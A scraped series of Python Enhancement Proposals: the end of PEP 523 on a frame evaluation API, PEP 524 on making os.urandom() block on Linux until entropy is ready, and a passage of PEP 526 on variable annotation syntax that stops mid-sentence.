Pyjion project [1] has used this proposed API to implement a JIT for CPython using the CoreCLR’s JIT [4]. Each code object has its co_extra field set to a PyjionJittedCode object which stores four pieces of information: Execution count A boolean representing whether a previous attempt to JIT failed A function pointer to a trampoline (which can be type tracing or not) A void pointer to any JIT-compiled machine code The frame evaluation function has (roughly) the following algorithm: def eval_frame(frame, throw_flag): pyjion_code = frame.code.co_extra if not pyjion_code: frame.code.co_extra = PyjionJittedCode() elif not pyjion_code.jit_failed: if not pyjion_code.jit_code: return pyjion_code.eval(pyjion_code.jit_code, frame) elif pyjion_code.exec_count > 20_000: if jit_compile(frame): return pyjion_code.eval(pyjion_code.jit_code, frame) else: pyjion_code.jit_failed = True pyjion_code.exec_count += 1 return _PyEval_EvalFrameDefault(frame, throw_flag) The key point, though, is that all of this work and logic is separate from CPython and yet with the proposed API changes it is able to provide a JIT that is compliant with Python semantics (as of this writing, performance is almost equivalent to CPython without the new API). This means there’s nothing technically preventing others from implementing their own JITs for CPython by utilizing the proposed API. Other JITs It should be mentioned that the Pyston team was consulted on an earlier version of this PEP that was more JIT-specific and they were not interested in utilizing the changes proposed because they want control over memory layout they had no interest in directly supporting CPython itself. An informal discussion with a developer on the PyPy team led to a similar comment. Numba [6], on the other hand, suggested that they would be interested in the proposed change in a post-1.0 future for themselves [7]. The experimental Coconut JIT [13] could have benefitted from this PEP. In private conversations with Coconut’s creator we were told that our API was probably superior to the one they developed for Coconut to add JIT support to CPython. Debugging In conversations with the Python Tools for Visual Studio team (PTVS) [12], they thought they would find these API changes useful for implementing more performant debugging. As mentioned in the Rationale section, this API would allow for switching on debugging functionality only in frames where it is needed. This could allow for either skipping information that sys.settrace() normally provides and even go as far as to dynamically rewrite bytecode prior to execution to inject e.g. breakpoints in the bytecode. It also turns out that Google provides a very similar API internally. It has been used for performant debugging purposes. Implementation A set of patches implementing the proposed API is available through the Pyjion project [1]. In its current form it has more changes to CPython than just this proposed API, but that is for ease of development instead of strict requirements to accomplish its goals. Open Issues Allow eval_frame to be NULL Currently the frame evaluation function is expected to always be set. It could very easily simply default to NULL instead which would signal to use _PyEval_EvalFrameDefault(). The current proposal of not special-casing the field seemed the most straightforward, but it does require that the field not accidentally be cleared, else a crash may occur. Rejected Ideas A JIT-specific C API Originally this PEP was going to propose a much larger API change which was more JIT-specific. After soliciting feedback from the Numba team [6], though, it became clear that the API was unnecessarily large. The realization was made that all that was truly needed was the opportunity to provide a trampoline function to handle execution of Python code that had been JIT-compiled and a way to attach that compiled machine code along with other critical data to the corresponding Python code object. Once it was shown that there was no loss in functionality or in performance while minimizing the API changes required, the proposal was changed to its current form. Is co_extra needed? While discussing this PEP at PyCon US 2016, some core developers expressed their worry of the co_extra field making code objects mutable. The thinking seemed to be that having a field that was mutated after the creation of the code object made the object seem mutable, even though no other aspect of code objects changed. The view of this PEP is that the co_extra field doesn’t change the fact that code objects are immutable. The field is specified in this PEP to not contain information required to make the code object usable, making it more of a caching field. It could be viewed as similar to the UTF-8 cache that string objects have internally; strings are still considered immutable even though they have a field that is conditionally set. Performance measurements were also made where the field was not available for JIT workloads. The loss of the field was deemed too costly to performance when using an unordered map from C++ or Python’s dict to associated a code object with JIT-specific data objects. References [1] (1, 2) Pyjion project (https://github.com/microsoft/pyjion) [2] (1, 2) CPython’s C API (https://docs.python.org/3/c-api/index.html) [3] (1, 2) PyCodeObject (https://docs.python.org/3/c-api/code.html#c.PyCodeObject) [4] .NET Core Runtime (CoreCLR) (https://github.com/dotnet/coreclr) [5] (1, 2, 3) PyEval_EvalFrameEx() (https://docs.python.org/3/c-api/veryhigh.html?highlight=pyframeobject#c.PyEval_EvalFrameEx) [6] (1, 2) Numba (http://numba.pydata.org/) [7] numba-users mailing list: “Would the C API for a JIT entrypoint being proposed by Pyjion help out Numba?” (https://groups.google.com/a/continuum.io/forum/#!topic/numba-users/yRl_0t8-m1g) [8] [Python-Dev] Opcode cache in ceval loop (https://mail.python.org/pipermail/python-dev/2016-February/143025.html) [9] Python benchmark suite (https://hg.python.org/benchmarks) [10] Pyston (http://pyston.org) [11] PyPy (http://pypy.org/) [12] Python Tools for Visual Studio (http://microsoft.github.io/PTVS/) [13] Coconut (https://github.com/davidmalcolm/coconut) [14] pybench (https://hg.python.org/cpython/file/default/Tools/pybench) Copyright This document has been placed in the public domain.

Final

PEP 523 – Adding a frame evaluation API to CPython

Standards Track

This PEP proposes to expand CPython’s C API [2] to allow for the specification of a per-interpreter function pointer to handle the evaluation of frames [5]. This proposal also suggests adding a new field to code objects [3] to store arbitrary data for use by the frame evaluation function.

PEP 524 – Make os.urandom() blocking on Linux Author: Victor Stinner <vstinner at python.org> Status: Final Type: Standards Track Created: 20-Jun-2016 Python-Version: 3.6 Table of Contents Abstract The bug Original bug Status in Python 3.5.2 Use Cases Use Case 1: init script Use case 1.1: No secret needed Use case 1.2: Secure secret required Use Case 2: Web server Fix system urandom Load entropy from disk at boot Virtual machines Embedded devices Denial-of-service when reading random Don’t use /dev/random but /dev/urandom getrandom(size, 0) can block forever on Linux Rationale Changes Make os.urandom() blocking on Linux Add a new os.getrandom() function Examples using os.getrandom() Best-effort RNG wait_for_system_rng() Create a best-effort RNG Alternative Leave os.urandom() unchanged, add os.getrandom() Raise BlockingIOError in os.urandom() Proposition Criticism Add an optional block parameter to os.urandom() Acceptance Annexes Operating system random functions Why using os.urandom()? Copyright Abstract Modify os.urandom() to block on Linux 3.17 and newer until the OS urandom is initialized to increase the security. Add also a new os.getrandom() function (for Linux and Solaris) to be able to choose how to handle when os.urandom() is going to block on Linux. The bug Original bug Python 3.5.0 was enhanced to use the new getrandom() syscall introduced in Linux 3.17 and Solaris 11.3. The problem is that users started to complain that Python 3.5 blocks at startup on Linux in virtual machines and embedded devices: see issues #25420 and #26839. On Linux, getrandom(0) blocks until the kernel initialized urandom with 128 bits of entropy. The issue #25420 describes a Linux build platform blocking at import random. The issue #26839 describes a short Python script used to compute a MD5 hash, systemd-cron, script called very early in the init process. The system initialization blocks on this script which blocks on getrandom(0) to initialize Python. The Python initialization requires random bytes to implement a counter-measure against the hash denial-of-service (hash DoS), see: Issue #13703: Hash collision security issue PEP 456: Secure and interchangeable hash algorithm Importing the random module creates an instance of random.Random: random._inst. On Python 3.5, random.Random constructor reads 2500 bytes from os.urandom() to seed a Mersenne Twister RNG (random number generator). Other platforms may be affected by this bug, but in practice, only Linux systems use Python scripts to initialize the system. Status in Python 3.5.2 Python 3.5.2 behaves like Python 2.7 and Python 3.4. If the system urandom is not initialized, the startup does not block, but os.urandom() can return low-quality entropy (even it is not easily guessable). Use Cases The following use cases are used to help to choose the right compromise between security and practicability. Use Case 1: init script Use a Python 3 script to initialize the system, like systemd-cron. If the script blocks, the system initialize is stuck too. The issue #26839 is a good example of this use case. Use case 1.1: No secret needed If the init script doesn’t have to generate any secure secret, this use case is already handled correctly in Python 3.5.2: Python startup doesn’t block on system urandom anymore. Use case 1.2: Secure secret required If the init script has to generate a secure secret, there is no safe solution. Falling back to weak entropy is not acceptable, it would reduce the security of the program. Python cannot produce itself secure entropy, it can only wait until system urandom is initialized. But in this use case, the whole system initialization is blocked by this script, so the system fails to boot. The real answer is that the system initialization must not be blocked by such script. It is ok to start the script very early at system initialization, but the script may blocked a few seconds until it is able to generate the secret. Reminder: in some cases, the initialization of the system urandom never occurs and so programs waiting for system urandom blocks forever. Use Case 2: Web server Run a Python 3 web server serving web pages using HTTP and HTTPS protocols. The server is started as soon as possible. The first target of the hash DoS attack was web server: it’s important that the hash secret cannot be easily guessed by an attacker. If serving a web page needs a secret to create a cookie, create an encryption key, …, the secret must be created with good entropy: again, it must be hard to guess the secret. A web server requires security. If a choice must be made between security and running the server with weak entropy, security is more important. If there is no good entropy: the server must block or fail with an error. The question is if it makes sense to start a web server on a host before system urandom is initialized. The issues #25420 and #26839 are restricted to the Python startup, not to generate a secret before the system urandom is initialized. Fix system urandom Load entropy from disk at boot Collecting entropy can take up to several minutes. To accelerate the system initialization, operating systems store entropy on disk at shutdown, and then reload entropy from disk at the boot. If a system collects enough entropy at least once, the system urandom will be initialized quickly, as soon as the entropy is reloaded from disk. Virtual machines Virtual machines don’t have a direct access to the hardware and so have less sources of entropy than bare metal. A solution is to add a virtio-rng device to pass entropy from the host to the virtual machine. Embedded devices A solution for embedded devices is to plug an hardware RNG. For example, Raspberry Pi have an hardware RNG but it’s not used by default. See: Hardware RNG on Raspberry Pi. Denial-of-service when reading random Don’t use /dev/random but /dev/urandom The /dev/random device should only used for very specific use cases. Reading from /dev/random on Linux is likely to block. Users don’t like when an application blocks longer than 5 seconds to generate a secret. It is only expected for specific cases like generating explicitly an encryption key. When the system has no available entropy, choosing between blocking until entropy is available or falling back on lower quality entropy is a matter of compromise between security and practicability. The choice depends on the use case. On Linux, /dev/urandom is secure, it should be used instead of /dev/random. See Myths about /dev/urandom by Thomas Hühn: “Fact: /dev/urandom is the preferred source of cryptographic randomness on UNIX-like systems” getrandom(size, 0) can block forever on Linux The origin of the Python issue #26839 is the Debian bug report #822431: in fact, getrandom(size, 0) blocks forever on the virtual machine. The system succeeded to boot because systemd killed the blocked process after 90 seconds. Solutions like Load entropy from disk at boot reduces the risk of this bug. Rationale On Linux, reading the /dev/urandom can return “weak” entropy before urandom is fully initialized, before the kernel collected 128 bits of entropy. Linux 3.17 adds a new getrandom() syscall which allows to block until urandom is initialized. On Python 3.5.2, os.urandom() uses the getrandom(size, GRND_NONBLOCK), but falls back on reading the non-blocking /dev/urandom if getrandom(size, GRND_NONBLOCK) fails with EAGAIN. Security experts promotes os.urandom() to generate cryptographic keys because it is implemented with a Cryptographically secure pseudo-random number generator (CSPRNG). By the way, os.urandom() is preferred over ssl.RAND_bytes() for different reasons. This PEP proposes to modify os.urandom() to use getrandom() in blocking mode to not return weak entropy, but also ensure that Python will not block at startup. Changes Make os.urandom() blocking on Linux All changes described in this section are specific to the Linux platform. Changes: Modify os.urandom() to block until system urandom is initialized: os.urandom() (C function _PyOS_URandom()) is modified to always call getrandom(size, 0) (blocking mode) on Linux and Solaris. Add a new private _PyOS_URandom_Nonblocking() function: try to call getrandom(size, GRND_NONBLOCK) on Linux and Solaris, but falls back on reading /dev/urandom if it fails with EAGAIN. Initialize hash secret from non-blocking system urandom: _PyRandom_Init() is modified to call _PyOS_URandom_Nonblocking(). random.Random constructor now uses non-blocking system urandom: it is modified to use internally the new _PyOS_URandom_Nonblocking() function to seed the RNG. Add a new os.getrandom() function A new os.getrandom(size, flags=0) function is added: use getrandom() syscall on Linux and getrandom() C function on Solaris. The function comes with 2 new flags: os.GRND_RANDOM: read bytes from /dev/random rather than reading /dev/urandom os.GRND_NONBLOCK: raise a BlockingIOError if os.getrandom() would block The os.getrandom() is a thin wrapper on the getrandom() syscall/C function and so inherit of its behaviour. For example, on Linux, it can return less bytes than requested if the syscall is interrupted by a signal. Examples using os.getrandom() Best-effort RNG Example of a portable non-blocking RNG function: try to get random bytes from the OS urandom, or fallback on the random module. def best_effort_rng(size): # getrandom() is only available on Linux and Solaris if not hasattr(os, 'getrandom'): return os.urandom(size) result = bytearray() try: # need a loop because getrandom() can return less bytes than # requested for different reasons while size: data = os.getrandom(size, os.GRND_NONBLOCK) result += data size -= len(data) except BlockingIOError: # OS urandom is not initialized yet: # fallback on the Python random module data = bytes(random.randrange(256) for byte in range(size)) result += data return bytes(result) This function can block in theory on a platform where os.getrandom() is not available but os.urandom() can block. wait_for_system_rng() Example of function waiting timeout seconds until the OS urandom is initialized on Linux or Solaris: def wait_for_system_rng(timeout, interval=1.0): if not hasattr(os, 'getrandom'): return deadline = time.monotonic() + timeout while True: try: os.getrandom(1, os.GRND_NONBLOCK) except BlockingIOError: pass else: return if time.monotonic() > deadline: raise Exception('OS urandom not initialized after %s seconds' % timeout) time.sleep(interval) This function is not portable. For example, os.urandom() can block on FreeBSD in theory, at the early stage of the system initialization. Create a best-effort RNG Simpler example to create a non-blocking RNG on Linux: choose between Random.SystemRandom and Random.Random depending if getrandom(size) would block. def create_nonblocking_random(): if not hasattr(os, 'getrandom'): return random.Random() try: os.getrandom(1, os.GRND_NONBLOCK) except BlockingIOError: return random.Random() else: return random.SystemRandom() This function is not portable. For example, random.SystemRandom can block on FreeBSD in theory, at the early stage of the system initialization. Alternative Leave os.urandom() unchanged, add os.getrandom() os.urandom() remains unchanged: never block, but it can return weak entropy if system urandom is not initialized yet. Only add the new os.getrandom() function (wrapper to the getrandom() syscall/C function). The secrets.token_bytes() function should be used to write portable code. The problem with this change is that it expects that users understand well security and know well each platforms. Python has the tradition of hiding “implementation details”. For example, os.urandom() is not a thin wrapper to the /dev/urandom device: it uses CryptGenRandom() on Windows, it uses getentropy() on OpenBSD, it tries getrandom() on Linux and Solaris or falls back on reading /dev/urandom. Python already uses the best available system RNG depending on the platform. This PEP does not change the API: os.urandom(), random.SystemRandom and secrets for security random module (except random.SystemRandom) for all other usages Raise BlockingIOError in os.urandom() Proposition PEP 522: Allow BlockingIOError in security sensitive APIs on Linux. Python should not decide for the developer how to handle The bug: raising immediately a BlockingIOError if os.urandom() is going to block allows developers to choose how to handle this case: catch the exception and falls back to a non-secure entropy source: read /dev/urandom on Linux, use the Python random module (which is not secure at all), use time, use process identifier, etc. don’t catch the error, the whole program fails with this fatal exception More generally, the exception helps to notify when sometimes goes wrong. The application can emit a warning when it starts to wait for os.urandom(). Criticism For the use case 2 (web server), falling back on non-secure entropy is not acceptable. The application must handle BlockingIOError: poll os.urandom() until it completes. Example: def secret(n=16): try: return os.urandom(n) except BlockingIOError: pass print("Wait for system urandom initialization: move your " "mouse, use your keyboard, use your disk, ...") while 1: # Avoid busy-loop: sleep 1 ms time.sleep(0.001) try: return os.urandom(n) except BlockingIOError: pass For correctness, all applications which must generate a secure secret must be modified to handle BlockingIOError even if The bug is unlikely. The case of applications using os.urandom() but don’t really require security is not well defined. Maybe these applications should not use os.urandom() at the first place, but always the non-blocking random module. If os.urandom() is used for security, we are back to the use case 2 described above: Use Case 2: Web server. If a developer doesn’t want to drop os.urandom(), the code should be modified. Example: def almost_secret(n=16): try: return os.urandom(n) except BlockingIOError: return bytes(random.randrange(256) for byte in range(n)) The question is if The bug is common enough to require that so many applications have to be modified. Another simpler choice is to refuse to start before the system urandom is initialized: def secret(n=16): try: return os.urandom(n) except BlockingIOError: print("Fatal error: the system urandom is not initialized") print("Wait a bit, and rerun the program later.") sys.exit(1) Compared to Python 2.7, Python 3.4 and Python 3.5.2 where os.urandom() never blocks nor raise an exception on Linux, such behaviour change can be seen as a major regression. Add an optional block parameter to os.urandom() See the issue #27250: Add os.urandom_block(). Add an optional block parameter to os.urandom(). The default value may be True (block by default) or False (non-blocking). The first technical issue is to implement os.urandom(block=False) on all platforms. Only Linux 3.17 (and newer) and Solaris 11.3 (and newer) have a well defined non-blocking API (getrandom(size, GRND_NONBLOCK)). As Raise BlockingIOError in os.urandom(), it doesn’t seem worth it to make the API more complex for a theoretical (or at least very rare) use case. As Leave os.urandom() unchanged, add os.getrandom(), the problem is that it makes the API more complex and so more error-prone. Acceptance The PEP was accepted on 2016-08-08 by Guido van Rossum. Annexes Operating system random functions os.urandom() uses the following functions: OpenBSD: getentropy() (OpenBSD 5.6) Linux: getrandom() (Linux 3.17) – see also A system call for random numbers: getrandom() Solaris: getentropy(), getrandom() (both need Solaris 11.3) UNIX, BSD: /dev/urandom, /dev/random Windows: CryptGenRandom() (Windows XP) On Linux, commands to get the status of /dev/random (results are number of bytes): $ cat /proc/sys/kernel/random/entropy_avail 2850 $ cat /proc/sys/kernel/random/poolsize 4096 Why using os.urandom()? Since os.urandom() is implemented in the kernel, it doesn’t have issues of user-space RNG. For example, it is much harder to get its state. It is usually built on a CSPRNG, so even if its state is “stolen”, it is hard to compute previously generated numbers. The kernel has a good knowledge of entropy sources and feed regularly the entropy pool. That’s also why os.urandom() is preferred over ssl.RAND_bytes(). Copyright This document has been placed in the public domain.

Final

PEP 524 – Make os.urandom() blocking on Linux

Standards Track

Modify os.urandom() to block on Linux 3.17 and newer until the OS urandom is initialized to increase the security.

PEP 526 – Syntax for Variable Annotations Author: Ryan Gonzalez <rymg19 at gmail.com>, Philip House <phouse512 at gmail.com>, Ivan Levkivskyi <levkivskyi at gmail.com>, Lisa Roach <lisaroach14 at gmail.com>, Guido van Rossum <guido at python.org> Status: Final Type: Standards Track Topic: Typing Created: 09-Aug-2016 Python-Version: 3.6 Post-History: 30-Aug-2016, 02-Sep-2016 Resolution: Python-Dev message Table of Contents Status Notice for Reviewers Abstract Rationale Non-goals Specification Global and local variable annotations Class and instance variable annotations Annotating expressions Where annotations aren’t allowed Variable annotations in stub files Preferred coding style for variable annotations Changes to Standard Library and Documentation Runtime Effects of Type Annotations Other uses of annotations Rejected/Postponed Proposals Backwards Compatibility Implementation Copyright Status This PEP has been provisionally accepted by the BDFL. See the acceptance message for more color: https://mail.python.org/pipermail/python-dev/2016-September/146282.html Notice for Reviewers This PEP was drafted in a separate repo: https://github.com/phouse512/peps/tree/pep-0526. There was preliminary discussion on python-ideas and at https://github.com/python/typing/issues/258. Before you bring up an objection in a public forum please at least read the summary of rejected ideas listed at the end of this PEP. Abstract PEP 484 introduced type hints, a.k.a. type annotations. While its main focus was function annotations, it also introduced the notion of type comments to annotate variables: # 'primes' is a list of integers primes = [] # type: List[int] # 'captain' is a string (Note: initial value is a problem) captain = ... # type: str class Starship: # 'stats' is a class variable stats = {} # type: Dict[str, int] This PEP aims at adding syntax to Python for annotating the types of variables (including class variables and instance variables), instead of expressing them through comments: primes: List[int] = [] captain: str # Note: no initial value! class Starship: stats: ClassVar[Dict[str, int]] = {} PEP 484 explicitly states that type comments are intended to help with type inference in complex cases, and this PEP does not change this intention. However, since in practice type comments have also been adopted for class variables and instance variables, this PEP also discusses the use of type annotations for those variables. Rationale Although type comments work well enough, the fact that they’re expressed through comments has some downsides: Text editors often highlight comments differently from type annotations. There’s no way to annotate the type of an undefined variable; one needs to initialize it to None (e.g. a = None # type: int). Variables annotated in a conditional branch are difficult to read:if some_value: my_var = function() # type: Logger else: my_var = another_function() # Why isn't there a type here? Since type comments aren’t actually part of the language, if a Python script wants to parse them, it requires a custom parser instead of just using ast. Type comments are used a lot in typeshed. Migrating typeshed to use the variable annotation syntax instead of type comments would improve readability of stubs. In situations where normal comments and type comments are used together, it is difficult to distinguish them:path = None # type: Optional[str] # Path to module source It’s impossible to retrieve the annotations at runtime outside of attempting to find the module’s source code and parse it at runtime, which is inelegant, to say the least. The majority of these issues can be alleviated by making the syntax a core part of the language. Moreover, having a dedicated annotation syntax for class and instance variables (in addition to method annotations) will pave the way to static duck-typing as a complement to nominal typing defined by PEP 484. Non-goals While the proposal is accompanied by an extension of the typing.get_type_hints standard library function for runtime retrieval of annotations, variable annotations are not designed for runtime type checking. Third party packages will have to be developed to implement such functionality. It should also be emphasized that Python will remain a dynamically typed language, and the authors have no desire to ever make type hints mandatory, even by convention. Type annotations should not be confused with variable declarations in statically typed languages. The goal of annotation syntax is to provide an easy way to specify structured type metadata for third party tools. This PEP does not require type checkers to change their type checking rules. It merely provides a more readable syntax to replace type comments. Specification Type annotation can be added to an assignment statement or to a single expression indicating the desired type of the annotation target to a third party type checker: my_var: int my_var = 5 # Passes type check. other_var: int = 'a' # Flagged as error by type checker, # but OK at runtime. This syntax does not introduce any new semantics beyond PEP 484, so that the following three statements are equivalent: var = value # type: annotation var: annotation; var = value var: annotation = value Below we specify the syntax of type annotations in different contexts and their runtime effects. We also suggest how type checkers might interpret annotations, but compliance to these suggestions is not mandatory. (This is in line with the attitude towards compliance in PEP 484.) Global and local variable annotations The types of locals and globals can be annotated as follows: some_number: int # variable without initial value some_list: List[int] = [] # variable with initial value Being able to omit the initial value allows for easier typing of variables assigned in conditional branches: sane_world: bool if 2+2 == 4: sane_world = True else: sane_world = False Note that, although the syntax does allow tuple packing, it does not allow one to annotate the types of variables when tuple unpacking is used: # Tuple packing with variable annotation syntax t: Tuple[int, ...] = (1, 2, 3) # or t: Tuple[int, ...] = 1, 2, 3 # This only works in Python 3.8+ # Tuple unpacking with variable annotation syntax header: str kind: int body: Optional[List[str]] header, kind, body = message Omitting the initial value leaves the variable uninitialized: a: int print(a) # raises NameError However, annotating a local variable will cause the interpreter to always make it a local: def f(): a: int print(a) # raises UnboundLocalError # Commenting out the a: int makes it a NameError. as if the code were: def f(): if False: a = 0 print(a) # raises UnboundLocalError Duplicate type annotations will be ignored. However, static type checkers may issue a warning for annotations of the same variable by a different type: a: int a: str # Static type checker may or may not warn about this. Class and instance variable annotations Type annotations can also be used to annotate class and instance variables in class bodies and methods. In particular, the value-less notation a: int allows one to annotate instance variables that should be initialized in __init__ or __new__. The proposed syntax is as follows: class BasicStarship: captain: str = 'Picard' # instance variable with default damage: int # instance variable without default stats: ClassVar[Dict[str, int]] = {} # class variable Here ClassVar is a special class defined by the typing module that indicates to the static type checker that this variable should not be set on instances. Note that a ClassVar parameter cannot include any type variables, regardless of the level of nesting: ClassVar[T] and ClassVar[List[Set[T]]] are both invalid if T is a type variable. This could be illustrated with a more detailed example. In this class: class Starship: captain = 'Picard' stats = {} def __init__(self, damage, captain=None): self.damage = damage if captain: self.captain = captain # Else keep the default def hit(self): Starship.stats['hits'] = Starship.stats.get('hits', 0) + 1 stats is intended to be a class variable (keeping track of many different per-game statistics), while captain is an instance variable with a default value set in the class. This difference might not be seen by a type checker: both get initialized in the class, but captain serves only as a convenient default value for the instance variable, while stats is truly a class variable – it is intended to be shared by all instances. Since both variables happen to be initialized at the class level, it is useful to distinguish them by marking class variables as annotated with types wrapped in ClassVar[...]. In this way a type checker may flag accidental assignments to attributes with the same name on instances. For example, annotating the discussed class: class Starship: captain: str = 'Picard' damage: int stats: ClassVar[Dict[str, int]] = {} def __init__(self, damage: int, captain: str = None): self.damage = damage if captain: self.captain = captain # Else keep the default def hit(self): Starship.stats['hits'] = Starship.stats.get('hits', 0) + 1 enterprise_d = Starship(3000) enterprise_d.stats = {} # Flagged as error by a type checker Starship.stats = {} # This is OK As a matter of convenience (and convention), instance variables can be annotated in __init__ or other methods, rather than in the class: from typing import Generic, TypeVar T = TypeVar('T') class Box(Generic[T]): def __init__(self, content): self.content: T = content Annotating expressions The target of the annotation can be any valid single assignment target, at least syntactically (it is up to the type checker what to do with this): class Cls: pass c = Cls() c.x: int = 0 # Annotates c.x with int. c.y: int # Annotates c.y with int. d = {} d['a']: int = 0 # Annotates d['a'] with int. d['b']: int # Annotates d['b'] with int. Note that even a parenthesized name is considered an expression, not a simple name: (x): int # Annotates x with int, (x) treated as expression by compiler. (y): int = 0 # Same situation here. Where annotations aren’t allowed It is illegal to attempt to annotate variables subject to global or nonlocal in the same function scope: def f(): global x: int # SyntaxError def g(): x: int # Also a SyntaxError global x The reason is that global and nonlocal don’t own variables; therefore, the type annotations belong in the scope owning the variable. Only single assignment targets and single right hand side values are allowed. In addition, one cannot annotate variables used in a for or with statement; they can be annotated ahead of time, in a similar manner to tuple unpacking: a: int for a in my_iter: ... f: MyFile with myfunc() as f: ... Variable annotations in stub files As variable annotations are more readable than type comments, they are preferred in stub files for all versions of Python, including Python 2.7. Note that stub files are not executed by Python interpreters, and therefore using variable annotations will not lead to errors. Type checkers should support variable annotations in stubs for all versions of Python. For example: # file lib.pyi ADDRESS: unicode = ... class Error: cause: Union[str, unicode] Preferred coding style for variable annotations Annotations for module level variables, class and instance variables, and local variables should have a single space after corresponding colon. There should be no space before the colon. If an assignment has right hand side, then the equality sign should have exactly one space on both sides. Examples: Yes:code: int class Point: coords: Tuple[int, int] label: str = '<unknown>' No:code:int # No space after colon code : int # Space before colon class Test: result: int=0 # No spaces around equality sign Changes to Standard Library and Documentation A new covariant type ClassVar[T_co] is added to the typing module. It accepts only a single argument that should be a valid type, and is used to annotate class variables that should not be set on class instances. This restriction is ensured by static checkers, but not at runtime. See the classvar section for examples and explanations for the usage of ClassVar, and see the rejected section for more information on the reasoning behind ClassVar. Function get_type_hints in the typing module will be extended, so that one can retrieve type annotations at runtime from modules and classes as well as functions. Annotations are returned as a dictionary mapping from variable or arguments to their type hints with forward references evaluated. For classes it returns a mapping (perhaps collections.ChainMap) constructed from annotations in method resolution order. Recommended guidelines for using annotations will be added to the documentation, containing a pedagogical recapitulation of specifications described in this PEP and in PEP 484. In addition, a helper script for translating type comments into type annotations will be published separately from the standard library. Runtime Effects of Type Annotations Annotating a local variable will cause the interpreter to treat it as a local, even if it was never assigned to. Annotations for local variables will not be evaluated: def f(): x: NonexistentName # No error. However, if it is at a module or class level, then the type will be evaluated: x: NonexistentName # Error! class X: var: NonexistentName # Error! In addition, at the module or class level, if the item being annotated is a simple name, then it and the annotation will be stored in the __annotations__ attribute of that module or class (mangled if private) as an ordered mapping from names to evaluated annotations. Here is an example: from typing import Dict class Player: ... players: Dict[str, Player] __points: int print(__annotations__) # prints: {'players': typing.Dict[str, __main__.Player], # '_Player__points': <class 'int'>} __annotations__ is writable, so this is permitted: __annotations__['s'] = str But attempting to update __annotations__ to something other than an ordered mapping may result in a TypeError: class C: __annotations__ = 42 x: int = 5 # raises TypeError (Note that the assignment to __annotations__, which is the culprit, is accepted by the Python interpreter without questioning it – but the subsequent type annotation expects it to be a MutableMapping and will fail.) The recommended way of getting annotations at runtime is by using typing.get_type_hints function; as with all dunder attributes, any undocumented use of __annotations__ is subject to breakage without warning: from typing import Dict, ClassVar, get_type_hints class Starship: hitpoints: int = 50 stats: ClassVar[Dict[str, int]] = {} shield: int = 100 captain: str def __init__(self, captain: str) -> None: ... assert get_type_hints(Starship) == {'hitpoints': int, 'stats': ClassVar[Dict[str, int]], 'shield': int, 'captain': str} assert get_type_hints(Starship.__init__) == {'captain': str, 'return': None} Note that if annotations are not found statically, then the __annotations__ dictionary is not created at all. Also the value of having annotations available locally does not offset the cost of having to create and populate the annotations dictionary on every function call. Therefore, annotations at function level are not evaluated and not stored. Other uses of annotations While Python with this PEP will not object to: alice: 'well done' = 'A+' bob: 'what a shame' = 'F-' since it will not care about the type annotation beyond “it evaluates without raising”, a type checker that encounters it will flag it, unless disabled with # type: ignore or @no_type_check. However, since Python won’t care what the “type” is, if the above snippet is at the global level or in a class, __annotations__ will include {'alice': 'well done', 'bob': 'what a shame'}. These stored annotations might be used for other purposes, but with this PEP we explicitly recommend type hinting as the preferred use of annotations. Rejected/Postponed Proposals Should we introduce variable annotations at all? Variable annotations have already been around for almost two years in the form of type comments, sanctioned by PEP 484. They are extensively used by third party type checkers (mypy, pytype, PyCharm, etc.) and by projects using the type checkers. However, the comment syntax has many downsides listed in Rationale. This PEP is not about the need for type annotations, it is about what should be the syntax for such annotations. Introduce a new keyword: The choice of a good keyword is hard, e.g. it can’t be var because that is way too common a variable name, and it can’t be local if we want to use it for class variables or globals. Second, no matter what we choose, we’d still need a __future__ import. Use def as a keyword: The proposal would be:def primes: List[int] = [] def captain: str The problem with this is that def means “define a function” to generations of Python programmers (and tools!), and using it also to define variables does not increase clarity. (Though this is of course subjective.) Use function based syntax: It was proposed to annotate types of variables using var = cast(annotation[, value]). Although this syntax alleviates some problems with type comments like absence of the annotation in AST, it does not solve other problems such as readability and it introduces possible runtime overhead. Allow type annotations for tuple unpacking: This causes ambiguity: it’s not clear what this statement means:x, y: T Are x and y both of type T, or do we expect T to be a tuple type of two items that are distributed over x and y, or perhaps x has type Any and y has type T? (The latter is what this would mean if this occurred in a function signature.) Rather than leave the (human) reader guessing, we forbid this, at least for now. Parenthesized form (var: type) for annotations: It was brought up on python-ideas as a remedy for the above-mentioned ambiguity, but it was rejected since such syntax would be hairy, the benefits are slight, and the readability would be poor. Allow annotations in chained assignments: This has problems of ambiguity and readability similar to tuple unpacking, for example in:x: int = y = 1 z = w: int = 1 it is ambiguous, what should the types of y and z be? Also the second line is difficult to parse. Allow annotations in with and for statement: This was rejected because in for it would make it hard to spot the actual iterable, and in with it would confuse the CPython’s LL(1) parser. Evaluate local annotations at function definition time: This has been rejected by Guido because the placement of the annotation strongly suggests that it’s in the same scope as the surrounding code. Store variable annotations also in function scope: The value of having the annotations available locally is just not enough to significantly offset the cost of creating and populating the dictionary on each function call. Initialize variables annotated without assignment: It was proposed on python-ideas to initialize x in x: int to None or to an additional special constant like Javascript’s undefined. However, adding yet another singleton value to the language would needed to be checked for everywhere in the code. Therefore, Guido just said plain “No” to this. Add also InstanceVar to the typing module: This is redundant because instance variables are way more common than class variables. The more common usage deserves to be the default. Allow instance variable annotations only in methods: The problem is that many __init__ methods do a lot of things besides initializing instance variables, and it would be harder (for a human) to find all the instance variable annotations. And sometimes __init__ is factored into more helper methods so it’s even harder to chase them down. Putting the instance variable annotations together in the class makes it easier to find them, and helps a first-time reader of the code. Use syntax x: class t = v for class variables: This would require a more complicated parser and the class keyword would confuse simple-minded syntax highlighters. Anyway we need to have ClassVar store class variables to __annotations__, so a simpler syntax was chosen. Forget about ClassVar altogether: This was proposed since mypy seems to be getting along fine without a way to distinguish between class and instance variables. But a type checker can do useful things with the extra information, for example flag accidental assignments to a class variable via the instance (which would create an instance variable shadowing the class variable). It could also flag instance variables with mutable defaults, a well-known hazard. Use ClassAttr instead of ClassVar: The main reason why ClassVar is better is following: many things are class attributes, e.g. methods, descriptors, etc. But only specific attributes are conceptually class variables (or maybe constants). Do not evaluate annotations, treat them as strings: This would be inconsistent with the behavior of function annotations that are always evaluated. Although this might be reconsidered in future, it was decided in PEP 484 that this would have to be a separate PEP. Annotate variable types in class docstring: Many projects already use various docstring conventions, often without much consistency and generally without conforming to the PEP 484 annotation syntax yet. Also this would require a special sophisticated parser. This, in turn, would defeat the purpose of the PEP – collaborating with the third party type checking tools. Implement __annotations__ as a descriptor: This was proposed to prohibit setting __annotations__ to something non-dictionary or non-None. Guido has rejected this idea as 